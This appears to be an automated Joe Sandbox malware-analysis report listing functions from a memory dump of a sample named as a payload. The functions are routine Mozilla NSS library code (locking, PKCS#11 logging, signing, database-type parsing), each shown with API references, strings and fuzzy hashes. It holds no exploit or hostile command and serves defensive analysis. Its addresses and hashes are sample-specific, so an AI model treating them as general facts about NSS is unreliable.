Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 20901f7e4c286bcccf24511979bc84f33abc87be13874249f083e4cada3fc541
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 7B3167717D292027EF1D51565C61FDE154A4BA930EF48003DF90AE5FC0FA86AB5703E5

Function 6C4C0FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6C4C1000

Part of subcall function 6C479BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C3A1A48), ref: 6C479BB3
Part of subcall function 6C479BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C3A1A48), ref: 6C479BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C4C1016

Part of subcall function 6C45C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C45C2BF

PR_Unlock.NSS3(?), ref: 6C4C1021

Part of subcall function 6C45DD70: TlsGetValue.KERNEL32 ref: 6C45DD8C
Part of subcall function 6C45DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C45DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C4C1046
PR_Unlock.NSS3(?), ref: 6C4C106B
PR_Lock.NSS3 ref: 6C4C1079
PR_Unlock.NSS3 ref: 6C4C1096
free.MOZGLUE(?), ref: 6C4C10A7
free.MOZGLUE(?), ref: 6C4C10B4
PR_DestroyCondVar.NSS3(?), ref: 6C4C10BF
PR_DestroyCondVar.NSS3(?), ref: 6C4C10CA
PR_DestroyCondVar.NSS3(?), ref: 6C4C10D5
PR_DestroyCondVar.NSS3(?), ref: 6C4C10E0
PR_DestroyLock.NSS3(?), ref: 6C4C10EB
free.MOZGLUE(?), ref: 6C4C1105

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 342485ea61760595860aee4efcf9e59f208c1a6ec683d2f89cfaee996854cf51
Instruction ID: 72fc1ee26eb13c9a287e1c789485dbc47d2a8dea805f756fc9c296ba295ba893
Opcode Fuzzy Hash: 342485ea61760595860aee4efcf9e59f208c1a6ec683d2f89cfaee996854cf51
Instruction Fuzzy Hash: 8E3178B9A00501ABD711DF15ED42E45BB71FF11319B584128E80A42F61E732F9B8DBD3

Function 6C3FEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6C3FEE0B

Part of subcall function 6C410BE0: malloc.MOZGLUE(6C408D2D,?,00000000,?), ref: 6C410BF8
Part of subcall function 6C410BE0: TlsGetValue.KERNEL32(6C408D2D,?,00000000,?), ref: 6C410C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C3FEEE1

Part of subcall function 6C3F1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6C3F1D7E
Part of subcall function 6C3F1D50: EnterCriticalSection.KERNEL32(?), ref: 6C3F1D8E
Part of subcall function 6C3F1D50: PR_Unlock.NSS3(?), ref: 6C3F1DD3

TlsGetValue.KERNEL32 ref: 6C3FEE51
EnterCriticalSection.KERNEL32(?), ref: 6C3FEE65
PR_Unlock.NSS3(?), ref: 6C3FEEA2
free.MOZGLUE(?), ref: 6C3FEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6C3FEED0
PR_Unlock.NSS3(?), ref: 6C3FEF48
free.MOZGLUE(?), ref: 6C3FEF68
PR_SetError.NSS3(00000000,00000000), ref: 6C3FEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6C3FEFA4
free.MOZGLUE(?), ref: 6C3FEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C3FF055
free.MOZGLUE(?), ref: 6C3FF060

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: c2d9983e3865ce211a9bc30f07a836ba2d72bb9eb52c5dfa553f20a6998444bf
Instruction ID: 813aa71b5bb4fbde3375be433f63a49d630598ed5e95f64fa8566e7d859ffc8b
Opcode Fuzzy Hash: c2d9983e3865ce211a9bc30f07a836ba2d72bb9eb52c5dfa553f20a6998444bf
Instruction Fuzzy Hash: 218182B1A002059BDB00DF65EC45EDE7BB5FF09308F050428E919A7711E732E925CBE2

Function 6C3C4CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6C3C4D80
PORT_Alloc_Util.NSS3(00000000), ref: 6C3C4D95
PORT_NewArena_Util.NSS3(00000800), ref: 6C3C4DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C3C4E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6C3C4E43
PORT_NewArena_Util.NSS3(00000800), ref: 6C3C4E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6C3C4E85
DER_Encode_Util.NSS3(?,?,6C5105A4,00000000), ref: 6C3C4EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6C3C4F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6C3C4F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C3C4F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C3C4F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C3C4F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C3C4FC8

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 240af56fe7de21ed43006477c76913ebec8b722f0d49a1eb23fb321abd0203ec
Instruction ID: 82d5a66c4479f06f19e1edb4bde34c3eedeb7229c2ac550632addb83811dfec5
Opcode Fuzzy Hash: 240af56fe7de21ed43006477c76913ebec8b722f0d49a1eb23fb321abd0203ec
Instruction Fuzzy Hash: 03816C71A08301AFE711DF24D840BAAB7E8AB84358F15892DF9989B641E771ED058F92

Function 6C3F8F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C3F9582), ref: 6C3F8F5B

Part of subcall function 6C40BE30: SECOID_FindOID_Util.NSS3(6C3C311B,00000000,?,6C3C311B,?), ref: 6C40BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C3F8F6A

Part of subcall function 6C410FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C3B87ED,00000800,6C3AEF74,00000000), ref: 6C411000
Part of subcall function 6C410FF0: PR_NewLock.NSS3(?,00000800,6C3AEF74,00000000), ref: 6C411016
Part of subcall function 6C410FF0: PL_InitArenaPool.NSS3(00000000,security,6C3B87ED,00000008,?,00000800,6C3AEF74,00000000), ref: 6C41102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C3F8FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6C3F8FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6C4DD820,6C3F9576), ref: 6C3F8FF9
DER_GetInteger_Util.NSS3(?), ref: 6C3F901D
PORT_ZAlloc_Util.NSS3(?), ref: 6C3F903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C3F9062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C3F90A2
PORT_ZAlloc_Util.NSS3(?), ref: 6C3F90CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6C3F90F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C3F912D
free.MOZGLUE(00000000), ref: 6C3F9136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C3F9145

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 984594b44447aee12ee98f58359bf5a191945704fbc934e799038714eddd9559
Instruction ID: fb69f33a9344a82f697c3bb8ca9ddc55d422286f79b851e3bccc5b473dc07e24
Opcode Fuzzy Hash: 984594b44447aee12ee98f58359bf5a191945704fbc934e799038714eddd9559
Instruction Fuzzy Hash: 1351B1B2A043009BE700DF299C81F96B7E8AF85318F054939E86497741E736E946CFD2

Function 6C3EADC0 Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6C3EADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3EAE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3EAE29

Part of subcall function 6C4CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C4CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C3EAE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C3EAE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3EAE8A
PR_LogPrint.NSS3(?,00000000), ref: 6C3EAEA0

Strings

hKey = 0x%x, xrefs: 6C3EAE62, 6C3EAE72
(CK_INVALID_HANDLE), xrefs: 6C3EAE1F, 6C3EAE80
nLl, xrefs: 6C3EAEB8, 6C3EAEE6
hSession = 0x%x, xrefs: 6C3EAE01, 6C3EAE11
C_MessageSignInit, xrefs: 6C3EADE1

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit$nLl
API String ID: 332880674-2438274705
Opcode ID: 9b646ba0a8a56371c663fa293b3e30f467d65356a0bc4e746dde6022d9e46c38
Instruction ID: 1ae3ee3d9342449c15559372ff4684a98bad6087ce234c778e8b9b24f047b5f5
Opcode Fuzzy Hash: 9b646ba0a8a56371c663fa293b3e30f467d65356a0bc4e746dde6022d9e46c38
Instruction Fuzzy Hash: 0B31B775641154ABCB00DF14DC4DFAA3BB5EB8A31DF46442AE4096BE11DB309918CFE7

Function 6C3E2DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C3E2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3E2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3E2E33

Part of subcall function 6C4CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C4CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C3E2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C3E2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C3E2E81

Strings

pPin = 0x%p, xrefs: 6C3E2E63
(CK_INVALID_HANDLE), xrefs: 6C3E2E2C
nLl, xrefs: 6C3E2E99, 6C3E2EC4
C_InitPIN, xrefs: 6C3E2DF1
ulPinLen = %d, xrefs: 6C3E2E7C
hSession = 0x%x, xrefs: 6C3E2E0E, 6C3E2E1E

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$nLl
API String ID: 1003633598-323415543
Opcode ID: 806a02bf533eea27394240045067a3eb339a43416af20ebaa9bd6b067aa484de
Instruction ID: 261c1f08648a47a202f75a871463a8190cefcf964912a58fe696c9ff44564630
Opcode Fuzzy Hash: 806a02bf533eea27394240045067a3eb339a43416af20ebaa9bd6b067aa484de
Instruction Fuzzy Hash: 37310975641165AFDB00DB14DD4DF8A3775EB8A32CF0A402AE809A7F11DB319908CFE6

Function 6C3E6EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C3E6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C3E6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C3E6F53

Part of subcall function 6C4CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C4CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C3E6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C3E6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C3E6FA1

Strings

ulPartLen = %d, xrefs: 6C3E6F9C
(CK_INVALID_HANDLE), xrefs: 6C3E6F4C
C_DigestUpdate, xrefs: 6C3E6F11
nLl, xrefs: 6C3E6FB9, 6C3E6FE7
pPart = 0x%p, xrefs: 6C3E6F83
hSession = 0x%x, xrefs: 6C3E6F2E, 6C3E6F3E

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$nLl
API String ID: 1003633598-3057652876
Opcode ID: acb1ae315395ce4453cc291ed52a1c06bfd2e3a9a22058d56dd82228ae1913e1
Instruction ID: 07d5cae5f8537fce33d5144d10d3c5e8f98fa6de378658d054d43af1737a4e0c
Opcode Fuzzy Hash: acb1ae315395ce4453cc291ed52a1c06bfd2e3a9a22058d56dd82228ae1913e1
Instruction Fuzzy Hash: 8631F774651158AFDB00DB14DC4DF9A37B5EB4632CF06402AE908A7E12DB309909CFD6

Function 6C3AAF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C3AAF47

Part of subcall function 6C479090: TlsGetValue.KERNEL32 ref: 6C4790AB
Part of subcall function 6C479090: TlsGetValue.KERNEL32 ref: 6C4790C9
Part of subcall function 6C479090: EnterCriticalSection.KERNEL32 ref: 6C4790E5
Part of subcall function 6C479090: TlsGetValue.KERNEL32 ref: 6C479116
Part of subcall function 6C479090: LeaveCriticalSection.KERNEL32 ref: 6C47913F

FreeLibrary.KERNEL32(?), ref: 6C3AAF6D
free.MOZGLUE(?), ref: 6C3AAFA4
free.MOZGLUE(?), ref: 6C3AAFAA
PR_ExitMonitor.NSS3 ref: 6C3AAFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C3AAFF5
PR_ExitMonitor.NSS3 ref: 6C3AB005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C3AB014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C3AB028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C3AB03C

Strings

%s decr => %d, xrefs: 6C3AAFF0
Unloaded library %s, xrefs: 6C3AB023

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 847539ea4b891ef238f20fbc0125d3d1187ce4227cfa1f2133d0cd4ae6896633
Instruction ID: 6f95f22525fb5bfc43b355327754f7b2902bbadd88870c43380743fc1563e32c
Opcode Fuzzy Hash: 847539ea4b891ef238f20fbc0125d3d1187ce4227cfa1f2133d0cd4ae6896633
Instruction Fuzzy Hash: 5A31E5B6B04110ABD605DFA5DC49E56B7B5EB1974CB154229E80587E00E333E836CFF6

Function 6C3F6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C3F781D,00000000,6C3EBE2C,?,6C3F6B1D,?,?,?,?,00000000,00000000,6C3F781D), ref: 6C3F6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C3F781D,?,6C3EBE2C,?), ref: 6C3F6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C3F781D), ref: 6C3F6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C3F6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C3F6C96

Part of subcall function 6C3A1240: TlsGetValue.KERNEL32(00000040,?,6C3A116C,NSPR_LOG_MODULES), ref: 6C3A1267
Part of subcall function 6C3A1240: EnterCriticalSection.KERNEL32(?,?,?,6C3A116C,NSPR_LOG_MODULES), ref: 6C3A127C
Part of subcall function 6C3A1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C3A116C,NSPR_LOG_MODULES), ref: 6C3A1291
Part of subcall function 6C3A1240: PR_Unlock.NSS3(?,?,?,?,6C3A116C,NSPR_LOG_MODULES), ref: 6C3A12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C3F6CAA

Strings

extern:, xrefs: 6C3F6C7E
NSS_DEFAULT_DB_TYPE, xrefs: 6C3F6C91
rdb:, xrefs: 6C3F6C69
dbm, xrefs: 6C3F6CA4
sql:, xrefs: 6C3F6C52
dbm:, xrefs: 6C3F6C3A

Memory Dump Source

Source File: 00000000.00000002.2206986924.000000006C331000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C330000, based on PE: true

Associated: 00000000.00000002.2206935210.000000006C330000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207204540.000000006C4CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207264001.000000006C50E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207299478.000000006C50F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207344820.000000006C510000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2207383675.000000006C515000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c330000_a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_paylo.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 2e8739b9f00e4fad4913c08b0fa321289882ed79aa0b3527ad3ff667310c67f6
Instruction ID: 9cdc908d9c3846e62a37bc2b97949fbe7c943c87180faa3f5705ddf6dd9d76d2
Opcode Fuzzy Hash: 2e8739b9f00e4fad4913c08b0fa321289882ed79aa0b3527ad3ff667310c67f6
Instruction Fuzzy Hash: 9601F2A1B4638163E60037791C5AF23356C9F82158F140939FE24E0A82EB96F51A84BA

Function 6C404E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C3C78F8), ref: 6C404E6D

Part of subcall function 6C3A09E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C3A06A2,00000000,?), ref: 6C3A09F8
Part of subcall function 6C3A09E0: malloc.MOZGLUE(0000001F), ref: 6C3A0A18
Part of subcall function 6C3A09E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C3A0A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C3C78F8), ref: 6C404ED9

Part of subcall function 6C3F5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C3F7703,?,00000000,00000000), ref: 6C3F5942
Part of subcall function 6C3F5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C3F7703), ref: 6C3F5954
Part of subcall function 6C3F5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C3F596A
Part of subcall function 6C3F5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C3F5984
Part of subcall function 6C3F5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C3F5999
Part of subcall function 6C3F5920: free.MOZGLUE(00000000), ref: 6C3F59BA
Part of subcall function 6C3F5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C3F59D3
Part of subcall function 6C3F5920: free.MOZGLUE(00000000), ref: 6C3F59F5
Part of subcall function 6C3F5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C3F5A0A
Part of subcall function 6C3F5920: free.MOZGLUE(00000000), ref: 6C3F5A2E
Part of subcall function 6C3F5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C3F5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C3C78F8), ref: 6C404EB3

Part of subcall function 6C404820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C404EB8,?,?,?,?,?,?,?,?,?,?,6C3C78F8), ref: 6C40484C
Part of subcall function 6C404820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C404EB8,?,?,?,?,?,?,?,?,?,?,6C3C78F8), ref: 6C40486D
Part of subcall function 6C404820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C404EB8,?), ref: 6C404884

